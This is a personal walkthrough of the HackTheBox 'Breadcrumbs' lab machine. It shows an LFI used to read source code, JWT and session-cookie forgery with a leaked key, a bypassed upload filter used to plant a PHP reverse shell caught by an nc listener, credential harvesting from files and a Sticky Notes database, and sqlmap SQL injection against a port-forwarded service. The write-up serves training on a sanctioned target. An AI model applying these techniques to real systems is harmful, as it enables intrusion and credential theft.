Name | Breadcrumbs | |
Difficulty | Hard | |
Release Date | 2021-02-20 | |
Retired Date | <don’t know> | |
IP Address | 10.10.10.228 | |
OS | Windows | |
Points | 40 |
The WalkThrough is protected with the root user’s password hash for as long as the box is active. For any doubt on what to insert here check my How to Unlock WalkThroughs.
foothold
My very first “hard” box, and of course it had to be a Windows one π. Anyway, I started as I always do, with nmap
:
# Nmap 7.80 scan initiated Sun Jun 20 23:37:12 2021 as: nmap -p- -sV -sC -oN nmap breadcrumbs.htb
Nmap scan report for breadcrumbs.htb (10.10.10.228)
Host is up (0.049s latency).
Not shown: 65521 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 9d:d0:b8:81:55:54:ea:0f:89:b1:10:32:33:6a:a7:8f (RSA)
| 256 1f:2e:67:37:1a:b8:91:1d:5c:31:59:c7:c6:df:14:1d (ECDSA)
|_ 256 30:9e:5d:12:e3:c6:b7:c6:3b:7e:1e:e7:89:7e:83:e4 (ED25519)
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/ssl Apache httpd (SSL-only mode)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds?
3306/tcp open mysql?
| fingerprint-strings:
| NULL:
|_ Host '10.10.14.240' is not allowed to connect to this MariaDB server
5040/tcp open unknown
7680/tcp open pando-pub?
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.80%I=7%D=6/20%Time=60CFC339%P=x86_64-redhat-linux-gnu%
SF:r(NULL,4B,"G\0\0\x01\xffj\x04Host\x20'10\.10\.14\.240'\x20is\x20not\x20
SF:allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -47m46s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-06-20T21:52:40
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 20 23:40:52 2021 -- 1 IP address (1 host up) scanned in 220.50 seconds
Funny thing I found on this box, it has SSH enabled π. Really not normal on windows machines, but hey, at least is similar to a Linux one π. So, right from the start we can identify some services like a web server, mysql server, ssh and some other mostly-not-important-windows-services.
Time to check what’s running on the webserver:
Not much to be seen. The website is some kind renting system for a book library. One can see the available books by searching, but actual borrowing isn’t “yet” allowed or is experiencing “technical difficulties”.
Anyway, since there’s not much to seen here, let’s fire up a gobuster
:
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://breadcrumbs.htb
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2021/06/21 00:16:31 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/Books (Status: 301)
/DB (Status: 301)
/PHP (Status: 301)
/aux (Status: 403)
/books (Status: 301)
/cgi-bin/ (Status: 403)
/com1 (Status: 403)
/com2 (Status: 403)
/com3 (Status: 403)
/com4 (Status: 403)
/con (Status: 403)
/css (Status: 301)
/db (Status: 301)
/includes (Status: 301)
/js (Status: 301)
/licenses (Status: 403)
/lpt1 (Status: 403)
/lpt2 (Status: 403)
/nul (Status: 403)
/php (Status: 301)
/phpmyadmin (Status: 403)
/portal (Status: 301)
/prn (Status: 403)
/secciοΏ½ (Status: 403)
/server-status (Status: 403)
/server-info (Status: 403)
/webalizer (Status: 403)
===============================================================
2021/06/21 00:19:43 Finished
===============================================================
Couple of interesting directories here:
books
Has a bunch of HTML files with the books themselves, or at least the same content that appears when we click on a book on the reservation system:
php
Only contains the search-and-reserve page we saw before
css
/js
/includes
Just “random” stuff to make the page work
portal
A login form!
And we can even register a new user. Fair enough! Let’s register a user and see what this is all about.
Ok, “Waiting approval” doesn’t sound like the best status to be in.
File management
is totally disabled, so maybe is only reserved for adminsUser management
is “Under construction” and only shows a list of users with its associated roles and there’s no way to activate a user from here.
Order pizza
is Disabled for economical reasons- Finally,
Check Tasks
shows a bunch of tasks for the devs to do
With all this at my hand, but nothing really just “standing up” as a way in, I decided to fire a new gobuster
at the portal site and see if I had a clue of what to do next.
ββ[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
ββ$ gobuster dir -u http://breadcrumbs.htb/portal -w /usr/share/dirb/big.txt -x php -f
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://breadcrumbs.htb/portal
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php
[+] Add Slash: true
[+] Timeout: 10s
===============================================================
2021/06/21 00:29:37 Starting gobuster
===============================================================
/.htpasswd/ (Status: 403)
/.htpasswd.php (Status: 403)
/.htaccess/ (Status: 403)
/.htaccess.php (Status: 403)
/DB/ (Status: 200)
/Index.php (Status: 302)
/Login.php (Status: 200)
/PHP/ (Status: 200)
/assets/ (Status: 200)
/aux/ (Status: 403)
/aux.php (Status: 403)
/com1/ (Status: 403)
/com1.php (Status: 403)
/com2/ (Status: 403)
/com2.php (Status: 403)
/com4/ (Status: 403)
/com4.php (Status: 403)
/com3/ (Status: 403)
/com3.php (Status: 403)
/con/ (Status: 403)
/con.php (Status: 403)
/cookie.php (Status: 200)
/db/ (Status: 200)
/includes/ (Status: 200)
/index.php (Status: 302)
/login.php (Status: 200)
/logout.php (Status: 302)
/lpt1/ (Status: 403)
/lpt1.php (Status: 403)
/lpt2/ (Status: 403)
/lpt2.php (Status: 403)
/nul/ (Status: 403)
/nul.php (Status: 403)
/php/ (Status: 200)
/prn/ (Status: 403)
/prn.php (Status: 403)
/secciοΏ½/ (Status: 403)
/secciοΏ½.php (Status: 403)
/signup.php (Status: 200)
/uploads/ (Status: 200)
/vendor/ (Status: 200)
===============================================================
2021/06/21 00:33:34 Finished
===============================================================
No much of anything is new. The uploads
directory looked interesting but had nothing inside it. Time to start debugging the actual web application itself and find some vulnerabilities. I setup the browser to proxy requests through Burp and look for suspicious stuff.
The first thin Burp warned me about was that the site was using a JWT token.
I went strait to jwt.io to decode the token and got this:
{
"typ": "JWT",
"alg": "HS256"
}
{
"data": {
"username": "r3pek"
}
}
So, if we can somehow forge this and generate our own cookie, we can just change the name to an admin user and we might be able to use the File manager
functionality. Since the signing key is nowhere to be found, I thought that the JWT token could be generated from the PHPSESSID
, so I began tinkering with it in Burp
submitting a bunch of values on the login.php
endpoint. Turns out that the ID is calculated somehow and is based of the username:
user: r3pek
- 331101f842a0b22ab44095e8fc6c9451
- 99600f077b3fa17cac2e141a7665ca7e
- 233bb0f06aae90aefc39508f37a94bf1
- 5ff7596fb91193d14067d301ce3595ce
- a2a6a014d3bee04d7df8d5837d62e8c5
user: aaaa (pass 1111)
- 61ff9d4aaefe6bdf45681678ba89ff9d
user: bbbb (pass 1122)
- bd74ceffc5eca61ec6de3244d6b875e4
Definitely an MD5 hash, but besides understanding that it is based on one of the characters of the username (since the number of variations is equal to the number of different characters), I couldn’t figure out exactly “how” it was being generated. After some time banging my head of this I decided to look elsewhere for some more vulnerable stuff.
One of the tasks for the devs was to “Store book information on the database”, which really wasn’t because I had already found the html files containing the book information. Time to look at that page through Burp
:
What we have here? A parameter with a file name? Can this be a LFI (Local File Inclusion)? Let’s just send this request over to Burp
’s Repeater and try to include some other file.
Yes! It is a LFI and now we have the DB user/pass to access it (after a little cleanup):
<?php
$host="localhost";
$port=3306;
$user="bread";
$password="jUli901";
$dbname="bread";
$con = new mysqli($host, $user, $password, $dbname, $port) or die ('Could not connect to the database server' . mysqli_connect_error());
?>
So now back to trying to impersonating an admin user. First I got the login.php
file but the JWT token and/or the PHP session ID login wasn’t there, it was in a file called authController.php
which was included on the login.php
:
<?php
require_once 'authController.php';
?>
So here’s authController.php
:
1<?php
2require 'db/db.php';
3require "cookie.php";
4require "vendor/autoload.php";
5use \Firebase\JWT\JWT;
6
7$errors = array();
8$username = "";
9$userdata = array();
10$valid = false;
11$IP = $_SERVER['REMOTE_ADDR'];
12
13//if user clicks on login
14if($_SERVER['REQUEST_METHOD'] === "POST"){
15 if($_POST['method'] == 0){
16 $username = $_POST['username'];
17 $password = $_POST['password'];
18
19 $query = "SELECT username,position FROM users WHERE username=? LIMIT 1";
20 $stmt = $con->prepare($query);
21 $stmt->bind_param('s', $username);
22 $stmt->execute();
23 $result = $stmt->get_result();
24 while ($row = $result->fetch_array(MYSQLI_ASSOC)){
25 array_push($userdata, $row);
26 }
27 $userCount = $result->num_rows;
28 $stmt->close();
29
30 if($userCount > 0){
31 $password = sha1($password);
32 $passwordQuery = "SELECT * FROM users WHERE password=? AND username=? LIMIT 1";
33 $stmt = $con->prepare($passwordQuery);
34 $stmt->bind_param('ss', $password, $username);
35 $stmt->execute();
36 $result = $stmt->get_result();
37
38 if($result->num_rows > 0){
39 $valid = true;
40 }
41 $stmt->close();
42 }
43
44 if($valid){
45 session_id(makesession($username));
46 session_start();
47
48 $secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e';
49 $data = array();
50
51 $payload = array(
52 "data" => array(
53 "username" => $username
54 ));
55
56 $jwt = JWT::encode($payload, $secret_key, 'HS256');
57
58 setcookie("token", $jwt, time() + (86400 * 30), "/");
59
60 $_SESSION['username'] = $username;
61 $_SESSION['loggedIn'] = true;
62 if($userdata[0]['position'] == ""){
63 $_SESSION['role'] = "Awaiting approval";
64 }
65 else{
66 $_SESSION['role'] = $userdata[0]['position'];
67 }
68
69 header("Location: /portal");
70 }
71
72 else{
73 $_SESSION['loggedIn'] = false;
74 $errors['valid'] = "Username or Password incorrect";
75 }
76 }
77
78 elseif($_POST['method'] == 1){
79 $username=$_POST['username'];
80 $password=$_POST['password'];
81 $passwordConf=$_POST['passwordConf'];
82
83 if(empty($username)){
84 $errors['username'] = "Username Required";
85 }
86 if(strlen($username) < 4){
87 $errors['username'] = "Username must be at least 4 characters long";
88 }
89 if(empty($password)){
90 $errors['password'] = "Password Required";
91 }
92 if($password !== $passwordConf){
93 $errors['passwordConf'] = "Passwords don't match!";
94 }
95
96 $userQuery = "SELECT * FROM users WHERE username=? LIMIT 1";
97 $stmt = $con->prepare($userQuery);
98 $stmt ->bind_param('s',$username);
99 $stmt->execute();
100 $result = $stmt->get_result();
101 $userCount = $result->num_rows;
102 $stmt->close();
103
104 if($userCount > 0){
105 $errors['username'] = "Username already exists";
106 }
107
108 if(count($errors) === 0){
109 $password = sha1($password);
110 $sql = "INSERT INTO users(username, password, age, position) VALUES (?,?, 0, '')";
111 $stmt = $con->prepare($sql);
112 $stmt ->bind_param('ss', $username, $password);
113
114 if ($stmt->execute()){
115 $user_id = $con->insert_id;
116 header('Location: login.php');
117 }
118 else{
119 $_SESSION['loggedIn'] = false;
120 $errors['db_error']="Database error: failed to register";
121 }
122 }
123 }
124}
So, this file is only responsible to create the JWT token and we can clearly see the the secret key of it on line 48 above. With this information we can create a simple python program that will generate a valid JWT token for us and so we’ll be able to impersonate an admin user:
1import jwt
2
3payload = { "data": { "username": "alex" } }
4cookie = jwt.encode(payload, "6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e", "HS256")
5
6print(cookie)
Now let’s just generate the token and replace it on the browser’s session:
ββ[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
ββ$ python generate_cookie.py
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoiYWxleCJ9fQ.0uUvcmdkL6WbeGr99dumPYYDRUSVEi55VnzxoLmhTuc
Meh… Maybe we need to change the PHPSESSID
too… But this is only valid for logged in users. Luckily, there’s a page linked on the login page as “helpers” that show the current active users, and from that list we have John
, Olivia
and Paul
with the state of Active. Paul
and John
are admins so let’s just try with Paul
since he’s the second on the list.
But first, we need to know how the PHPSESSID
cookie is generated and for that we need to look at the cookie.php
file:
1<?php
2/**
3 * @param string $username Username requesting session cookie
4 *
5 * @return string $session_cookie Returns the generated cookie
6 *
7 * @devteam
8 * Please DO NOT use default PHPSESSID; our security team says they are predictable.
9 * CHANGE SECOND PART OF MD5 KEY EVERY WEEK
10 * */
11function makesession($username){
12 $max = strlen($username) - 1;
13 $seed = rand(0, $max);
14 $key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
15 $session_cookie = $username.md5($key);
16
17 return $session_cookie;
18}
Now that we know how to generate the damn cookie, for the user paul
we have 4 valid PHPSESSID (1 for each letter):
paula2a6a014d3bee04d7df8d5837d62e8c5
paul61ff9d4aaefe6bdf45681678ba89ff9d
paul8c8808867b53c49777fe5559164708c3
paul47200b180ccd6835d25d034eeb6e6390
Now, we just regenerate the JWT token for paul
and try all this 4 PHPSESSID
until we get the valid one.
And the winner is π:
PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390
token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU
And now we can use the File management
options too π
Looks like we can only upload zip files… Now, is this a “request” or is this actually enforced? Luckily for use, we can check the source code of files.php
:
1<?php session_start();
2$LOGGED_IN = false;
3if($_SESSION['username'] !== "paul"){
4 header("Location: ../index.php");
5}
6if(isset($_SESSION['loggedIn'])){
7 $LOGGED_IN = true;
8 require '../db/db.php';
9}
10else{
11 header("Location: ../auth/login.php");
12 die();
13}
14?>
15<html lang="en">
16 <head>
17 <title>Binary</title>
18 <meta charset="utf-8">
19 <meta http-equiv="X-UA-Compatible" content="IE=edge">
20 <meta name="viewport" content="width=device-width, initial-scale=1">
21 <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
22 <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
23 <link rel="stylesheet" type="text/css" href="../assets/css/main.css">
24 <link rel="stylesheet" type="text/css" href="../assets/css/all.css">
25 </head>
26
27 <nav class="navbar navbar-default justify-content-end">
28 <div class="navbar-header justify-content-end">
29 <button type="button" class="navbar-toggle btn btn-outline-info p-3 m-3" data-toggle="collapse" data-target=".navbar-collapse"><i class="fas fa-hamburger"></i></button>
30 </div>
31
32 <div class="collapse navbar-collapse justify-content-end mr-5">
33 <ul class="navbar-nav">
34 <li class="nav-item"><a class="nav-link text-right" href="../index.php"><i class="fas fa-home"></i> Home</a></li>
35 <li class="nav-item"><a class="nav-link text-right" href="issues.php"><i class="fa fa-check" aria-hidden="true"></i> Issues</a></li>
36 <li class="nav-item"><a class="nav-link text-right" href="users.php"><i class="fa fa-user" aria-hidden="true"></i> User Management</a></li>
37 <li class="nav-item"><a class="nav-link text-right" href="#"><i class="fa fa-file" aria-hidden="true"></i> File Management</a></li>
38 <li class="nav-item"><a class="nav-link text-right" href="../auth/logout.php"><i class="fas fa-sign-out-alt"></i> Logout</a></li>
39 </ul>
40 </div>
41 </nav>
42 <body class="bg-dark">
43 <main class="main">
44 <div class="row justify-content-center text-white text-center">
45 <div class="col-md-3">
46 <h1>Task Submission</h1>
47 <p class="text-danger"><i class="fas fa-exclamation-circle"></i> Please upload only .zip files!</p>
48 <form onsubmit="return false">
49 <div class="form-group mt-5">
50 <input type="text" class="form-control" placeholder="Task completed" id="task" name="task">
51 </div>
52 <div class="form-group">
53 <input type="file" class="form-control" placeholder="Task" id="file" name="file">
54 </div>
55 <button type="submit" class="btn btn-outline-success btn-block py-3" id="upload">Upload</button>
56 </form>
57 <p id="message"></p>
58 </div>
59 </div>
60 </div>
61 </main>
62
63 <?php include "../includes/footer.php"; ?>
64 <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ho+j7jyWK8fNQe+A12Hb8AhRq26LrZ/JpcUGGOn+Y7RsweNrtN/tE3MoK7ZeZDyx" crossorigin="anonymous"></script>
65 <script type="text/javascript" src='../assets/js/files.js'></script>
66 </body>
67
68
69</html>
Doesn’t look like it from the source code, anyway, let’s just try to upload something and check with Burp
what happens.
Turns out the uploaded file extension is converted to .zip
. Luckily for us this is just a matter of intercepting the POST request and changing it back to whatever we want. In our case, let’s just try to upload a php reverse shell and get a shell with it π.
ββ[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
ββ$ nc -nlvp 5555
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::5555
Ncat: Listening on 0.0.0.0:5555
Ncat: Connection from 10.10.10.228.
Ncat: Connection from 10.10.10.228:61030.
SOCKET: Shell has connected! PID: 9184
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\>whoami
breadcrumbs\www-data
C:\>
And we have our foothold! π
user flag
Since we’re the www-data
user, we’re probably not lucky enough to have the user flag waiting for us on the Desktop:
C:\>dir users\www-data\Desktop\
Volume in drive C has no label.
Volume Serial Number is 7C07-CD3A
Directory of C:\users\www-data\Desktop
02/09/2021 12:25 AM <DIR> .
02/09/2021 12:25 AM <DIR> ..
02/09/2021 12:38 AM 146 cookiesrunner.bat
02/08/2021 06:14 AM 1,450 Microsoft Edge.lnk
02/09/2021 12:41 AM <DIR> usefull_cookies
02/08/2021 06:53 AM <DIR> xampp
2 File(s) 1,596 bytes
4 Dir(s) 6,085,115,904 bytes free
Yep, confirmed. We’re gonna need to get to the user flag from some other user, so let’s just see which users are available:
C:\>net user
User accounts for \\BREADCRUMBS
-------------------------------------------------------------------------------
Administrator DefaultAccount development
Guest juliette sshd
WDAGUtilityAccount www-data
The command completed successfully.
C:\>dir users
Volume in drive C has no label.
Volume Serial Number is 7C07-CD3A
Directory of C:\users
01/17/2021 02:41 AM <DIR> .
01/17/2021 02:41 AM <DIR> ..
01/26/2021 10:06 AM <DIR> Administrator
01/26/2021 10:11 AM <DIR> development
02/01/2021 06:48 AM <DIR> juliette
01/15/2021 04:43 PM <DIR> Public
02/08/2021 11:13 PM <DIR> www-data
0 File(s) 0 bytes
7 Dir(s) 6,129,364,992 bytes free
So, we have development
and juliette
as possible contenders. Looking at the MySQL password from the db.php
file (jUli901
) the user might be juliette
and this might actually be the right password for her π. Since we have SSH on this Windows box, we can just try those easily:
ββ[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
ββ$ ssh juliette@breadcrumbs.htb
juliette@breadcrumbs.htb's password:
Permission denied, please try again.
juliette@breadcrumbs.htb's password:
Unlucky βΉοΈ Looks like we need to look around and see what we have here.
This part was really tedious and was here a few hours. The thing is that the xampp
directory on the www-data
Desktop’s has the whole XAMPP stack in it, including all the source files for the web application, so we have a lot of places to look for eventual passwords and/or usernames combos. Eventually, my search payed of π:
C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData>dir
Volume in drive C has no label.
Volume Serial Number is 7C07-CD3A
Directory of C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData
02/08/2021 06:37 AM <DIR> .
02/08/2021 06:37 AM <DIR> ..
11/28/2020 02:48 AM 170 alex.disabled
11/28/2020 02:48 AM 170 emma.disabled
11/28/2020 02:48 AM 170 jack.disabled
11/28/2020 02:48 AM 170 john.disabled
01/17/2021 04:11 PM 192 juliette.json
11/28/2020 02:48 AM 170 lucas.disabled
11/28/2020 02:48 AM 170 olivia.disabled
11/28/2020 02:48 AM 170 paul.disabled
11/28/2020 02:48 AM 170 sirine.disabled
11/28/2020 02:48 AM 170 william.disabled
10 File(s) 1,722 bytes
2 Dir(s) 6,406,676,480 bytes free
C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData>type juliette.json
{
"pizza" : "margherita",
"size" : "large",
"drink" : "water",
"card" : "VISA",
"PIN" : "9890",
"alternate" : {
"username" : "juliette",
"password" : "jUli901./())!",
}
}
Looks like the only user allowed to order pizza is juliette
and how nice of her to leave the password just like that π.
ββ[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
ββ$ ssh juliette@breadcrumbs.htb
juliette@breadcrumbs.htb's password:
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
juliette@BREADCRUMBS C:\Users\juliette>whoami
breadcrumbs\juliette
juliette@BREADCRUMBS C:\Users\juliette>type Desktop\user.txt
cb20d4eec6c20d86cc3eb2b612b3256e
juliette@BREADCRUMBS C:\Users\juliette>
User flag accomplished πͺ
root flag sidestepping
Now, on juliette
’s Desktop, besides the user flag, there’s a file called todo.html
with this contents:
<html>
<style>
html{
background:black;
color:orange;
}
table,th,td{
border:1px solid orange;
padding:1em;
border-collapse:collapse;
}
</style>
<table>
<tr>
<th>Task</th>
<th>Status</th>
<th>Reason</th>
</tr>
<tr>
<td>Configure firewall for port 22 and 445</td>
<td>Not started</td>
<td>Unauthorized access might be possible</td>
</tr>
<tr>
<td>Migrate passwords from the Microsoft Store Sticky Notes application to our new password manage
r</td>
<td>In progress</td>
<td>It stores passwords in plain text</td>
</tr>
<tr>
<td>Add new features to password manager</td>
<td>Not started</td>
<td>To get promoted, hopefully lol</td>
</tr>
</table>
</html>
So, looks like passwords are stored on Microsoft Store Sticky Notes application, but that application stores all the contents on clear text. That’s a good opportunity to find some more passwords for this box (hopefully Administrator?). Just need to find out where the app stores the notes on the filesystem. After a quick search, I found this article describing where the data was stored. The data is stored on a sqlite
database named plum.sqlite
on %UserProfile%\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState
. Let’s just use scp
to copy the database to our box and read it:
ββ[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
ββ$ scp juliette@breadcrumbs.htb:/C:/Users/juliette/AppData/Local/Packages/Microsoft.MicrosoftStickyNotes_8wek
yb3d8bbwe/LocalState/plum.sqlite* .
juliette@breadcrumbs.htb's password:
plum.sqlite 100% 4096 76.3KB/s 00:00
plum.sqlite-shm 100% 32KB 304.5KB/s 00:00
plum.sqlite-wal 100% 322KB 348.5KB/s 00:00
Turns out that if you only copy the
plum.sqlite
file, the database will be empty, so you need to copy all theplum*
files.
And here we have the cleanup version of that field:
\id=48c70e58-fcf9-475a-aea4-24ce19a9f9ec juliette: jUli901./())!
\id=fc0d8d70-055d-4870-a5de-d76943a68ea2 development: fN3)sN5Ee@g
\id=48924119-7212-4b01-9e0f-ae6d678d49b2 administrator: [MOVED]
Oh well, unlucky on the administrator
password, but we got the development
one π
ββ[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
ββ$ ssh development@breadcrumbs.htb
development@breadcrumbs.htb's password:
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
development@BREADCRUMBS C:\Users\development>
root flag
Now onto the actually root flag! After looking around I found the C:\Development
directory which contains only one file: Krypter_Linux
.
development@BREADCRUMBS C:\Development>dir
Volume in drive C has no label.
Volume Serial Number is 7C07-CD3A
Directory of C:\Development
01/15/2021 05:03 PM <DIR> .
01/15/2021 05:03 PM <DIR> ..
11/29/2020 04:11 AM 18,312 Krypter_Linux
1 File(s) 18,312 bytes
2 Dir(s) 6,422,093,824 bytes free
development@BREADCRUMBS C:\Development>Krypter_Linux
'Krypter_Linux' is not recognized as an internal or external command,
operable program or batch file.
It doesn’t look like a Windows program, so I just copied into my box and fired up Ghidra
on it.
ββ[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
ββ$ scp development@breadcrumbs.htb:/C:/development/Krypter* .
development@breadcrumbs.htb's password:
Krypter_Linux 100% 18KB 169.9KB/s 00:00
Won’t post a huge screenshot of Ghidra
’s window here because you guys won’t be able to read much of the text so I’ll just drop the important function here (after some cleanup of variable names and stuff)
1undefined8 main(int argc,char **argv)
2{
3 ulong keyLen;
4 basic_ostream *this;
5 ulong uVar1;
6 basic_string password [44];
7 undefined4 local_2c;
8 long curl_handle;
9 int index;
10 int sum;
11
12 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string();
13 /* try { // try from 00101263 to 001013cf has its CatchHandler @ 001013e5 */
14 curl_handle = curl_easy_init();
15 puts(
16 "Krypter V1.2\n\nNew project by Juliette.\nNew features added weekly!\nWhat to expect next update:\n\t- Windows version with GUI support\n\t- Get password from cloud and AUTOMATICALLY decrypt!\n***\n"
17 );
18 if (argc == 2) {
19 sum = 0;
20 index = 0;
21 while( true ) {
22 uVar1 = SEXT48(index);
23 keyLen = strlen(argv[1]);
24 if (keyLen <= uVar1) break;
25 sum = sum + argv[1][index];
26 index = index + 1;
27 }
28 if (sum == 1601) {
29 if (curl_handle != 0) {
30 puts("Requesting decryption key from cloud...\nAccount: Administrator");
31 curl_easy_setopt(curl_handle,0x2712,"http://passmanager.htb:1234/index.php");
32 curl_easy_setopt(curl_handle,0x271f,"method=select&username=administrator&table=passwords");
33 curl_easy_setopt(curl_handle,0x4e2b,WriteCallback);
34 curl_easy_setopt(curl_handle,0x2711,password);
35 local_2c = curl_easy_perform(curl_handle);
36 curl_easy_cleanup(curl_handle);
37 puts("Server response:\n\n");
38 this = std::operator<<((basic_ostream *)std::cout,password);
39 std::basic_ostream<char,std::char_traits<char>>::operator<<
40 ((basic_ostream<char,std::char_traits<char>> *)this,
41 std::endl<char,std::char_traits<char>>);
42 }
43 }
44 else {
45 puts("Incorrect master key");
46 }
47 }
48 else {
49 puts("No key supplied.\nUSAGE:\n\nKrypter <key>");
50 }
51 std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string
52 ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)password);
53 return 0;
54}
Basically, this function makes GET request via libcurl
to http://passmanager.htb:1234/index.php
with the parameters method=select&username=administrator&table=passwords
. My first approach to this was really n00b π€¦. I tried to understand how to provide the correct “password” to the program so that I was abke to hit that sum == 1601
making it execute the request. Some 5 or 10 minutes later I thought: “Why am I being so dumb? I can just make the actual request myself!” π€£π€£
Since port 1234 isn’t shown on the nmap
result, it’s only running locally on the box, but we can easily get around that with SSH port forwards:
ββ[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
ββ$ ssh -L 1234:127.0.0.1:1234 development@breadcrumbs.htb
development@breadcrumbs.htb's password:
Microsoft Windows [Version 10.0.19041.746]
(c) 2020 Microsoft Corporation. All rights reserved.
development@BREADCRUMBS C:\Users\development>
Now we forwarded localhost:1234
on the box to our port 1234, so we’re able to do the same thing as the Kryptor
program does:
ββ[r3pek]-[~/CTF/HTB/Machines/Breadcrumbs]
ββ$ curl "http://localhost:1234/index.php?method=select&username=administrator&table=passwords"
selectarray(1) {
[0]=>
array(1) {
["aes_key"]=>
string(16) "k19D193j.<19391("
}
}
Hummmm what?! π We got and AES Key? Where is the password?! Just to make sure, I did try that as the password but it didn’t work. So the password has to be somewhere… Well, not much to do, but if this queries the aes_key (hinted by method=select
and table=passwords
) from a database, it really is just “screaming” SQLi. Let’s fire up sqlmap
:
ββ[r3pek]-[~/projects/sqlmap]
ββ sqlmap master (255dce8)
ββ$ ./sqlmap.py -u "http://localhost:1234/index.php?method=select&username=*administrator&table=passwords" --dbms mysql --risk=3 --level=5 --dump
___
__H__
___ ___[']_____ ___ ___ {1.5.6.3#dev}
|_ -| . ["] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 01:55:06 /2021-07-04/
[01:55:15] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[01:55:15] [INFO] testing connection to the target URL
[01:55:15] [INFO] checking if the target is protected by some kind of WAF/IPS
[01:55:15] [INFO] testing if the target URL content is stable
[01:55:16] [INFO] target URL content is stable
[01:55:16] [INFO] testing if URI parameter '#1*' is dynamic
[01:55:16] [INFO] URI parameter '#1*' appears to be dynamic
[01:55:16] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[01:55:16] [INFO] testing for SQL injection on URI parameter '#1*'
[01:55:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:55:21] [INFO] URI parameter '#1*' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
